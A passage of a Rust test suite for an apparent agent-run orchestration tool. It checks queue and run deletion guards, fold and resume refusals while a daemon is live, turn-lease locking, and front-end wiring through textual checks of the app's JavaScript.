22031        assert!(
22032            view["recovery"]
22033                .as_str()
22034                .unwrap()
22035                .contains("If no recovery decision is pending")
22036        );
22037        for blocker in view["blockers"].as_array().unwrap() {
22038            assert!(blocker["destination"].is_null());
22039            assert!(
22040                blocker["next"]
22041                    .as_str()
22042                    .unwrap()
22043                    .contains("pending delivery")
22044            );
22045        }
22046        for q in &mut records {
22047            q.routed_chat = Some("owning-chat".into());
22048            questions.put(q).unwrap();
22049        }
22050        let view = fx.get(&url).await.json();
22051        for blocker in view["blockers"].as_array().unwrap() {
22052            assert_eq!(
22053                blocker["destination"],
22054                serde_json::json!(["chat", "owning-chat"])
22055            );
22056            assert_eq!(blocker["resolves_itself"], false);
22057        }
22058        // Answered routed decisions can still be awaiting task-chat application.
22059        for q in &mut records {
22060            q.status = ask::QuestionStatus::Answered;
22061            questions.put(q).unwrap();
22062        }
22063        assert!(crate::triage::pending_for(&questions, &task));
22064        let view = fx.get(&url).await.json();
22065        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22066        assert!(
22067            view["blockers"][0]["next"]
22068                .as_str()
22069                .unwrap()
22070                .contains("not yet applied")
22071        );
22072        for q in &records {
22073            task.mark_triage_applied(&q.id);
22074        }
22075        queue.put(&mut task).unwrap();
22076        assert!(!crate::triage::pending_for(&questions, &task));
22077        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22078        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22079    }
22080
22081    #[test]
22082    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22083        use crate::queue::HoldSource;
22084        let mut task = Task::new(
22085            "Recovery".into(),
22086            "Inspect".into(),
22087            PathBuf::from("/repo"),
22088            Source::Human,
22089        );
22090        assert!(task_recovery(&task).is_none());
22091        task.hold_manual(Some("Operator paused".into()));
22092        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22093        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22094        let text = task_recovery(&task).unwrap();
22095        assert!(text.contains("restores held"));
22096        assert!(text.contains("clears its dependency references"));
22097        task.hold_source = Some(HoldSource::Machine);
22098        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22099        let view = TaskView::with_inventory(
22100            task.clone(),
22101            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22102        );
22103        let json = serde_json::to_value(view).unwrap();
22104        assert_eq!(json["block_reason"], "Decision needed");
22105        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22106        let recovery = json["recovery"].as_str().unwrap();
22107        assert!(recovery.contains("not current capacity"));
22108        assert!(recovery.contains("triage rechecks"));
22109        assert_eq!(json["blockers"][0]["state"], "missing");
22110        task.blocked_from = Some(TaskStatus::Queued);
22111        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22112        task.blocked_from = None;
22113        assert!(task_recovery(&task).unwrap().contains("restores held"));
22114    }
22115
22116    #[tokio::test]
22117    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22118        let fx = Fixture::start().await;
22119        let q = fx.queue();
22120        let mk = |title: &str| {
22121            Task::new(
22122                title.to_owned(),
22123                "Instruction".to_owned(),
22124                PathBuf::from("/repo"),
22125                Source::Human,
22126            )
22127        };
22128        let mut root = mk("root");
22129        root.hold_manual(Some("waiting".to_owned()));
22130        q.put(&mut root).unwrap();
22131        let mut mid = mk("mid");
22132        mid.block(vec![root.id.clone()], None);
22133        q.put(&mut mid).unwrap();
22134        let mut leaf = mk("leaf");
22135        leaf.block(vec![mid.id.clone()], None);
22136        q.put(&mut leaf).unwrap();
22137
22138        let list = fx.get("/api/queue").await.json();
22139        let find = |id: &str| {
22140            list.as_array()
22141                .unwrap()
22142                .iter()
22143                .find(|v| v["id"] == id)
22144                .unwrap()
22145                .clone()
22146        };
22147        let leaf_view = find(&leaf.id);
22148        assert_eq!(
22149            leaf_view["waits_on"],
22150            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22151        );
22152        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22153        assert_eq!(
22154            find(&mid.id)["waits_on"],
22155            serde_json::json!([format!("{} (held)", root.short())])
22156        );
22157        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22158    }
22159
22160    #[tokio::test]
22161    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22162        let fx = Fixture::start().await;
22163        let q = fx.queue();
22164
22165        // 1. A queued task with runs attached can be deleted.
22166        let mut t1 = Task::new(
22167            "Task 1".to_owned(),
22168            "Instruction 1".to_owned(),
22169            PathBuf::from("/repo"),
22170            Source::Human,
22171        );
22172        let run_id = "20260901-000000-r111";
22173        t1.runs.push(run_id.to_owned());
22174        write_run(&fx.runs(), run_id, RunStatus::Merged);
22175        q.put(&mut t1).expect("put t1");
22176
22177        // Delete by short id
22178        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22179        assert_eq!(res.status, 204);
22180        assert!(res.body.is_empty(), "204 No Content has no body");
22181        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22182        assert!(
22183            fx.runs().join(run_id).exists(),
22184            "run directory must not be deleted when its task is deleted"
22185        );
22186
22187        // 2. A task a live daemon is running is refused with 409.
22188        let mut t2 = Task::new(
22189            "Task 2".to_owned(),
22190            "Instruction 2".to_owned(),
22191            PathBuf::from("/repo"),
22192            Source::Human,
22193        );
22194        t2.status = TaskStatus::Running;
22195        q.put(&mut t2).expect("put t2");
22196        let mut beat = crate::daemon::Status::new();
22197        beat.current = vec![crate::daemon::Current {
22198            worker: None,
22199            task: t2.id.clone(),
22200            run: "20260901-000000-r222".to_owned(),
22201        }];
22202        beat.updated_at = jiff::Timestamp::now();
22203        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22204            .expect("publish a heartbeat");
22205        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22206        assert_eq!(res.status, 409);
22207        assert!(
22208            res.json()["error"]
22209                .as_str()
22210                .unwrap()
22211                .contains("live daemon")
22212        );
22213        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22214
22215        // 3. The same `running` status and an orphaned lock, with no daemon
22216        // behind either, is a leftover and deletable. Before this the phone
22217        // refused it for good: the status never changes on its own and
22218        // nothing drops a lock whose process is gone.
22219        // The daemon is killed: the file stays, the heartbeat stops.
22220        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22221        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22222            .expect("leave a stale heartbeat");
22223        let mut t3 = Task::new(
22224            "Task 3".to_owned(),
22225            "Instruction 3".to_owned(),
22226            PathBuf::from("/repo"),
22227            Source::Human,
22228        );
22229        t3.status = TaskStatus::Running;
22230        q.put(&mut t3).expect("put t3");
22231        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22232        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22233        assert_eq!(res.status, 204);
22234        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22235        assert!(
22236            q.claim(&t3.id).is_ok(),
22237            "the stale lock went with it, so the id is claimable again"
22238        );
22239
22240        // 4. Missing id returns 404
22241        let res = fx.delete("/api/queue/nonexistent").await;
22242        assert_eq!(res.status, 404);
22243    }
22244
22245    #[tokio::test]
22246    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22247        let fx = Fixture::start().await;
22248        let runs = fx.runs();
22249
22250        // 1. Finished and folded run can be deleted along with artifacts
22251        let run_id = "20260901-000000-fold";
22252        let mut state = RunState::new(
22253            PathBuf::from("/repo"),
22254            "main".to_owned(),
22255            "abc".to_owned(),
22256            "instruction".to_owned(),
22257            Config::default(),
22258        );
22259        state.id = run_id.to_owned();
22260        state.status = RunStatus::Merged;
22261        state.candidates.push(crate::run::Candidate {
22262            index: 0,
22263            label: 'A',
22264            agent: "a".to_owned(),
22265            branch: "b".to_owned(),
22266            worktree: PathBuf::from("/w"),
22267            summary: String::new(),
22268            stat: String::new(),
22269            files: 1,
22270            commits: 1,
22271            empty: false,
22272            failed: None,
22273            verified_noop: None,
22274            duration_ms: 0,
22275            folded: true,
22276        });
22277        let dir = runs.join(run_id);
22278        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22279        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22280            .expect("write artifact");
22281        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22282            .expect("write run.json");
22283
22284        // Delete by short id
22285        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22286        assert_eq!(res.status, 204);
22287        assert!(res.body.is_empty(), "204 has no body");
22288        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22289
22290        // 2. A run a live daemon is working on is refused with 409. The
22291        // heartbeat is what makes it refusable: an unfinished run with no
22292        // daemon behind it is a leftover from a killed process, and case 1
22293        // above would otherwise be impossible to tell apart from this one.
22294        let run_running = "20260901-000000-rung";
22295        write_run(&runs, run_running, RunStatus::Prep);
22296        let mut beat = crate::daemon::Status::new();
22297        beat.current = vec![crate::daemon::Current {
22298            worker: None,
22299            task: "20260901-000000-task".to_owned(),
22300            run: run_running.to_owned(),
22301        }];
22302        beat.updated_at = jiff::Timestamp::now();
22303        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22304            .expect("publish a heartbeat");
22305        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22306        assert_eq!(res.status, 409);
22307        assert!(
22308            res.json()["error"]
22309                .as_str()
22310                .unwrap()
22311                .contains("live daemon"),
22312            "the refusal must say who is holding it"
22313        );
22314        assert!(
22315            runs.join(run_running).exists(),
22316            "a run in flight keeps its directory"
22317        );
22318
22319        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22320        let run_unfolded = "20260901-000000-unfd";
22321        let mut state2 = RunState::new(
22322            PathBuf::from("/repo"),
22323            "main".to_owned(),
22324            "abc".to_owned(),
22325            "instruction".to_owned(),
22326            Config::default(),
22327        );
22328        state2.id = run_unfolded.to_owned();
22329        state2.status = RunStatus::Ready;
22330        state2.candidates.push(crate::run::Candidate {
22331            index: 0,
22332            label: 'A',
22333            agent: "a".to_owned(),
22334            branch: "b".to_owned(),
22335            worktree: PathBuf::from("/w"),
22336            summary: String::new(),
22337            stat: String::new(),
22338            files: 1,
22339            commits: 1,
22340            empty: false,
22341            failed: None,
22342            verified_noop: None,
22343            duration_ms: 0,
22344            folded: false,
22345        });
22346        let dir2 = runs.join(run_unfolded);
22347        std::fs::create_dir_all(&dir2).expect("create dir2");
22348        std::fs::write(
22349            dir2.join("run.json"),
22350            serde_json::to_string(&state2).unwrap(),
22351        )
22352        .expect("write run.json");
22353
22354        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22355        assert_eq!(res.status, 409);
22356        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22357        assert!(dir2.exists(), "unfolded run directory is kept");
22358
22359        // 4. Missing id returns 404
22360        let res = fx.delete("/api/runs/nonexistent").await;
22361        assert_eq!(res.status, 404);
22362    }
22363
22364    /// The queue tiles on the Stats tab must render even on a home with no
22365    /// runs at all: queue state is not derived from run history, so hiding
22366    /// the whole dashboard body behind "no runs yet" would drop the one
22367    /// thing this tab promises unconditionally (queued/running/held/done).
22368    /// A DOM-level test would need a browser this suite does not have, so
22369    /// this pins the same invariant textually: `renderStatsQueue` is called
22370    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22371    /// block that gates the run-derived panels.
22372    #[test]
22373    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22374        let start = APP_JS
22375            .find("function renderStats() {")
22376            .expect("renderStats");
22377        let end = start
22378            + APP_JS[start..]
22379                .find("function statsTile(")
22380                .expect("the next top-level function");
22381        let body = &APP_JS[start..end];
22382
22383        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22384        let gate_end = gate_start
22385            + body[gate_start..]
22386                .find("}\n  renderStatsQueue")
22387                .expect("the gate's own closing brace, right before the unconditional call");
22388        let gated = &body[gate_start..gate_end];
22389
22390        assert_eq!(
22391            body.matches("renderStatsQueue(").count(),
22392            1,
22393            "renderStats must call renderStatsQueue exactly once: {body}"
22394        );
22395        assert!(
22396            !gated.contains("renderStatsQueue"),
22397            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22398             run-derived panels on an empty run history - the queue panel has to render \
22399             regardless: {gated}"
22400        );
22401    }
22402
22403    #[test]
22404    fn web_ui_delete_contract_in_front_end() {
22405        // 1. API block has both delete endpoints
22406        assert!(APP_JS.contains("deleteRun:"));
22407        assert!(APP_JS.contains("deleteTask:"));
22408
22409        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22410        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22411            ..APP_JS.find("function renderRuns").unwrap()];
22412        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22413
22414        // 3. Run detail has delete entry and reasons
22415        assert!(APP_JS.contains("renderRunDelete"));
22416        assert!(APP_JS.contains("runDeleteReason"));
22417        assert!(APP_JS.contains("magi fold"));
22418        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22419
22420        // 4. Two-step delete arming and focus on Cancel
22421        assert!(APP_JS.contains("cancel.focus"));
22422        assert!(APP_JS.contains("armedRunDelete"));
22423        assert!(APP_JS.contains("renderTaskDeleteBox"));
22424        assert!(APP_JS.contains("armed${cap(key)}"));
22425
22426        // 5. Running task has disabled delete
22427        assert!(APP_JS.contains("disabled: status === \"running\""));
22428    }
22429
22430    /// Every element a run card's updater reaches for must be in the `refs`
22431    /// the builder handed it.
22432    ///
22433    /// `createRunCard` builds its elements, appends them to the card, and then
22434    /// lists them again in `row.refs`. That second list is the one the updater
22435    /// uses, and nothing connects the two - an element can be built, appended
22436    /// and rendered, and still be missing from `refs`. `superseded` was, for
22437    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22438    /// exception took `syncList` with it, and the deck showed
22439    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22440    /// line is computed before the cards, which is why the failure looked like
22441    /// a server that had lost its runs rather than a front end that had
22442    /// stopped rendering them.
22443    ///
22444    /// A `cargo test` cannot execute the front end, so this reads the two
22445    /// halves out of the source and compares them as sets. It is not a check
22446    /// on the wording of either list: adding an element, renaming one, or
22447    /// reordering them all keeps this passing, and only using one the builder
22448    /// never published fails it.
22449    #[test]
22450    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22451        let build = APP_JS
22452            .find("function createRunCard")
22453            .expect("createRunCard exists");
22454        let update = APP_JS
22455            .find("function updateRunCard")
22456            .expect("updateRunCard exists");
22457        let end = APP_JS
22458            .find("function renderRuns")
22459            .expect("renderRuns exists");
22460
22461        // The builder's published set: the object literal assigned to `refs`.
22462        let builder = &APP_JS[build..update];
22463        let open = builder.find("refs = {").expect("createRunCard sets refs");
22464        let literal = &builder[open + "refs = {".len()..];
22465        let close = literal.find('}').expect("the refs literal is closed");
22466        let published: HashSet<&str> = literal[..close]
22467            .split(',')
22468            // `name` and `name: value` both bind `name`.
22469            .filter_map(|entry| entry.split(':').next())
22470            .map(str::trim)
22471            .filter(|name| !name.is_empty())
22472            .collect();
22473        assert!(
22474            published.len() > 5,
22475            "the refs literal did not parse into names: {published:?}"
22476        );
22477
22478        // What the updaters reach for: every `r.<name>`, where `r` is the
22479        // `const r = row.refs` alias both functions open with.
22480        let mut used: Vec<&str> = Vec::new();
22481        let updaters = &APP_JS[update..end];
22482        for (at, _) in updaters.match_indices("r.") {
22483            // `r` must be the whole identifier, not the tail of another one
22484            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22485            let before = updaters[..at].chars().next_back();
22486            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22487                continue;
22488            }
22489            let rest = &updaters[at + 2..];
22490            let len = rest
22491                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22492                .unwrap_or(rest.len());
22493            if len > 0 {
22494                used.push(&rest[..len]);
22495            }
22496        }
22497        assert!(
22498            used.len() > 5,
22499            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22500        );
22501
22502        let missing: Vec<&str> = used
22503            .iter()
22504            .copied()
22505            .filter(|name| !published.contains(name))
22506            .collect();
22507        assert!(
22508            missing.is_empty(),
22509            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22510             never put in `refs` - every card will throw and the list will \
22511             render empty under a count line that says otherwise. Published: \
22512             {published:?}"
22513        );
22514    }
22515
22516    #[tokio::test]
22517    async fn folding_from_the_phone_reports_what_it_removed() {
22518        let fx = Fixture::start().await;
22519        let runs = fx.runs();
22520
22521        // A run with no candidates has nothing to fold, which is a 200 with an
22522        // honest count rather than an error: the operator asked for the trees
22523        // to be gone and they are.
22524        let id = "20260901-000000-fold";
22525        write_run(&runs, id, RunStatus::Stalled);
22526        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22527        assert_eq!(res.status, 200);
22528        assert_eq!(res.json()["removed_count"], 0);
22529        assert_eq!(res.json()["run"], id);
22530        assert!(
22531            runs.join(id).exists(),
22532            "a fold keeps the run's record; only the worktrees go"
22533        );
22534    }
22535
22536    #[tokio::test]
22537    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22538        let fx = Fixture::start().await;
22539        let runs = fx.runs();
22540        let wt = fx.home.path().join("wt").join("magi").join("dead");
22541        let id = "20260901-000000-dead";
22542        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22543        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22544        std::fs::create_dir_all(&wt).expect("worktree dir");
22545
22546        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22547        assert_eq!(res.status, 200, "{}", res.body);
22548        assert!(
22549            res.json()["removed_count"].as_u64().unwrap() > 0,
22550            "the worktree this build could not read a state for still went"
22551        );
22552        assert!(
22553            !runs.join(id).exists(),
22554            "an unreadable run has no candidate list to fold selectively, so \
22555             the whole record goes - same as `magi fold` on the CLI"
22556        );
22557    }
22558
22559    #[tokio::test]
22560    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22561        let fx = Fixture::start().await;
22562        let runs = fx.runs();
22563        let wt = fx.home.path().join("wt").join("magi").join("gone");
22564        let id = "20260901-000000-gone";
22565        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22566        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22567        std::fs::create_dir_all(&wt).expect("worktree dir");
22568
22569        let res = fx.delete(&format!("/api/runs/{id}")).await;
22570        assert_eq!(res.status, 204, "{}", res.body);
22571        assert!(!runs.join(id).exists(), "the broken record is gone");
22572        assert!(!wt.exists(), "its worktree is gone too");
22573    }
22574
22575    #[tokio::test]
22576    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22577        let fx = Fixture::start().await;
22578        let runs = fx.runs();
22579        let id = "20260901-000000-live";
22580        write_run(&runs, id, RunStatus::Implementing);
22581
22582        let mut beat = crate::daemon::Status::new();
22583        beat.current = vec![crate::daemon::Current {
22584            worker: None,
22585            task: "20260901-000000-task".to_owned(),
22586            run: id.to_owned(),
22587        }];
22588        beat.updated_at = jiff::Timestamp::now();
22589        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22590            .expect("publish a heartbeat");
22591
22592        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22593        assert_eq!(res.status, 409);
22594        assert!(
22595            res.json()["error"]
22596                .as_str()
22597                .unwrap()
22598                .contains("live daemon"),
22599            "folding under a running agent would pull its worktree away"
22600        );
22601    }
22602
22603    #[tokio::test]
22604    async fn fold_merged_requires_a_pr_url() {
22605        let fx = Fixture::start().await;
22606        let runs = fx.runs();
22607        let id = "20260901-000000-nourl";
22608        write_run(&runs, id, RunStatus::Blocked);
22609
22610        let res = fx
22611            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22612            .await;
22613        assert_eq!(res.status, 400, "{}", res.body);
22614
22615        let blank = fx
22616            .post(
22617                &format!("/api/runs/{id}/fold-merged"),
22618                Some(r#"{"pr_url":"   "}"#),
22619            )
22620            .await;
22621        assert_eq!(blank.status, 400, "{}", blank.body);
22622    }
22623
22624    #[tokio::test]
22625    async fn fold_merged_is_404_for_an_unknown_run() {
22626        let fx = Fixture::start().await;
22627        let res = fx
22628            .post(
22629                "/api/runs/nosuchrun/fold-merged",
22630                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22631            )
22632            .await;
22633        assert_eq!(res.status, 404, "{}", res.body);
22634    }
22635
22636    #[tokio::test]
22637    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22638        let fx = Fixture::start().await;
22639        let runs = fx.runs();
22640        let id = "20260901-000000-livemerge";
22641        write_run(&runs, id, RunStatus::Blocked);
22642
22643        let mut beat = crate::daemon::Status::new();
22644        beat.current = vec![crate::daemon::Current {
22645            worker: None,
22646            task: "20260901-000000-task".to_owned(),
22647            run: id.to_owned(),
22648        }];
22649        beat.updated_at = jiff::Timestamp::now();
22650        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22651            .expect("publish a heartbeat");
22652
22653        let res = fx
22654            .post(
22655                &format!("/api/runs/{id}/fold-merged"),
22656                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22657            )
22658            .await;
22659        assert_eq!(res.status, 409, "{}", res.body);
22660        assert!(
22661            res.json()["error"]
22662                .as_str()
22663                .unwrap()
22664                .contains("live daemon"),
22665            "correcting a run's merge underneath a running agent would race \
22666             whatever it is doing to the same `status`/`merge` fields"
22667        );
22668    }
22669
22670    /// A pull request `gh` cannot even ask about (no such remote, no such
22671    /// repository) must never be recorded as a merge on a guess - the same
22672    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22673    /// command line, reached here through the phone route instead.
22674    #[tokio::test]
22675    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22676        let fx = Fixture::start().await;
22677        let runs = fx.runs();
22678        let id = "20260901-000000-unconfirmed";
22679        write_run(&runs, id, RunStatus::Blocked);
22680
22681        let res = fx
22682            .post(
22683                &format!("/api/runs/{id}/fold-merged"),
22684                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22685            )
22686            .await;
22687        assert_eq!(res.status, 400, "{}", res.body);
22688        assert_eq!(
22689            read_run(&runs, id).unwrap().status,
22690            RunStatus::Blocked,
22691            "a pull request that could not be confirmed merged must leave \
22692             the run exactly where it was"
22693        );
22694    }
22695
22696    #[tokio::test]
22697    async fn terminal_runs_cannot_be_resumed() {
22698        let fx = Fixture::start().await;
22699        let runs = fx.runs();
22700
22701        for (status, word) in [
22702            (RunStatus::Merged, "merged"),
22703            (RunStatus::Ready, "ready"),
22704            (RunStatus::Failed, "failed"),
22705        ] {
22706            let id = format!("20260901-000000-{}", &word[..4]);
22707            write_run(&runs, &id, status);
22708            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22709            assert_eq!(res.status, 409, "{word} must not be resumable");
22710        }
22711    }
22712
22713    #[tokio::test]
22714    async fn resume_is_refused_while_the_loop_is_running() {
22715        let fx = Fixture::start().await;
22716        let runs = fx.runs();
22717        let stalled = "20260901-000000-stal";
22718        write_run(&runs, stalled, RunStatus::Stalled);
22719
22720        // The loop is busy with a *different* run, and that is still a
22721        // refusal: a manual resume must never race whatever the loop itself
22722        // is already driving, whether that is one run or several.
22723        let mut beat = crate::daemon::Status::new();
22724        beat.current = vec![crate::daemon::Current {
22725            worker: None,
22726            task: "20260901-000000-task".to_owned(),
22727            run: "20260901-000000-othr".to_owned(),
22728        }];
22729        beat.updated_at = jiff::Timestamp::now();
22730        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22731            .expect("publish a heartbeat");
22732
22733        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22734        assert_eq!(res.status, 409);
22735        let err = res.json()["error"].as_str().unwrap().to_owned();
22736        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22737        assert!(err.contains("stop it first"), "{err}");
22738    }
22739
22740    #[test]
22741    fn a_run_cannot_be_resumed_twice_at_once() {
22742        let home = TempDir::new().expect("temp home");
22743        let ui = Ui::new(
22744            Queue::at(home.path().join("queue")),
22745            Questions::at(home.path().join("questions")),
22746            Talks::at(home.path().join("talks")),
22747            home.path().join("runs"),
22748            home.path().to_path_buf(),
22749            PathBuf::from("/repo"),
22750        )
22751        .with_worktrees_root(home.path().join("wt"));
22752        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22753        let again = ui.begin_resume("20260901-000000-once");
22754        assert!(again.is_err(), "a second tap must not start a second graph");
22755        drop(first);
22756        assert!(
22757            ui.begin_resume("20260901-000000-once").is_ok(),
22758            "and the claim is released when the attempt ends"
22759        );
22760    }
22761
22762    #[test]
22763    fn talk_thinking_tracks_only_its_held_turn_claim() {
22764        let home = TempDir::new().expect("temp home");
22765        let ui = Ui::new(
22766            Queue::at(home.path().join("queue")),
22767            Questions::at(home.path().join("questions")),
22768            Talks::at(home.path().join("talks")),
22769            home.path().join("runs"),
22770            home.path().to_path_buf(),
22771            PathBuf::from("/repo"),
22772        )
22773        .with_worktrees_root(home.path().join("wt"));
22774        let id = "20260901-000000-once";
22775
22776        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22777        let turn = ui.begin_talk_turn(id).expect("claim turn");
22778        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22779        assert!(
22780            !ui.is_thinking("20260901-000000-other"),
22781            "one talk's turn does not make another talk busy"
22782        );
22783        drop(turn);
22784        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22785    }
22786
22787    #[test]
22788    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22789        let home = TempDir::new().expect("temp home");
22790        let talks = Talks::at(home.path().join("talks"));
22791        let ui = Ui::new(
22792            Queue::at(home.path().join("queue")),
22793            Questions::at(home.path().join("questions")),
22794            talks.clone(),
22795            home.path().join("runs"),
22796            home.path().to_path_buf(),
22797            PathBuf::from("/repo"),
22798        )
22799        .with_worktrees_root(home.path().join("wt"));
22800        let id = "20260901-000000-cross";
22801
22802        let other = Talks::at(home.path().join("talks"))
22803            .claim_turn(id)
22804            .expect("claim")
22805            .expect("the other process wins");
22806        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22807        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22808        assert!(
22809            matches!(
22810                ui.begin_talk_turn_unless_pending(id).expect("start"),
22811                TalkTurnStart::Foreign
22812            ),
22813            "a foreign holder is refused, not queued behind"
22814        );
22815        assert!(
22816            !ui.talk_turns.lock().unwrap().live.contains(id),
22817            "a refused claim leaves no in-process entry behind"
22818        );
22819        drop(other);
22820        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22821        assert!(talks.turn_held(id), "the web turn holds the lease");
22822        drop(turn);
22823        assert!(
22824            !talks.turn_held(id),
22825            "dropping the guard releases the lease"
22826        );
22827    }
22828
22829    fn consult_question(ui: &Ui) -> Question {
22830        let mut q = Question::new(
22831            "20260901-000000-consult".to_owned(),
22832            "implement".to_owned(),
22833            "impl-A".to_owned(),
22834            "Which backend?".to_owned(),
22835            String::new(),
22836            vec!["SQLite".to_owned(), "Redis".to_owned()],
22837        );
22838        ui.questions.put(&mut q).expect("question");
22839        q
22840    }
22841
22842    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22843        (
22844            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22845            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22846        )
22847    }
22848
22849    #[tokio::test]
22850    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22851        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22852        let q = consult_question(&ui);
22853        let talk = ui.talks.get(&id).expect("talk");
22854        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22855        let before = consult_snapshot(&ui, &q, &id);
22856        let cli_talks = Talks::at(ui.home.join("talks"));
22857        assert_eq!(
22858            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22859                .await
22860                .expect("CLI starter"),
22861            crate::consult::Started::Busy
22862        );
22863        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22864        assert!(ui.is_thinking(&id));
22865        drop(guard);
22866        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22867    }
22868
22869    #[tokio::test]
22870    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22871        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22872        let q = consult_question(&ui);
22873        let talk = ui.talks.get(&id).expect("talk");
22874        let started = tmp.path().join("started");
22875        let release = tmp.path().join("release");
22876        let script = tmp.path().join("consult-agent.sh");
22877        std::fs::write(
22878            &script,
22879            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22880        )
22881        .expect("script");
22882        let mut cfg = stub_config();
22883        cfg.agents[0].id = "mock".to_owned();
22884        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22885        cfg.agents[0].env = std::collections::BTreeMap::from([
22886            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22887            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22888        ]);
22889        let questions = ui.questions.clone();
22890        let cli_talks = Talks::at(ui.home.join("talks"));
22891        let cli_q = q.clone();
22892        let turn = tokio::spawn(async move {
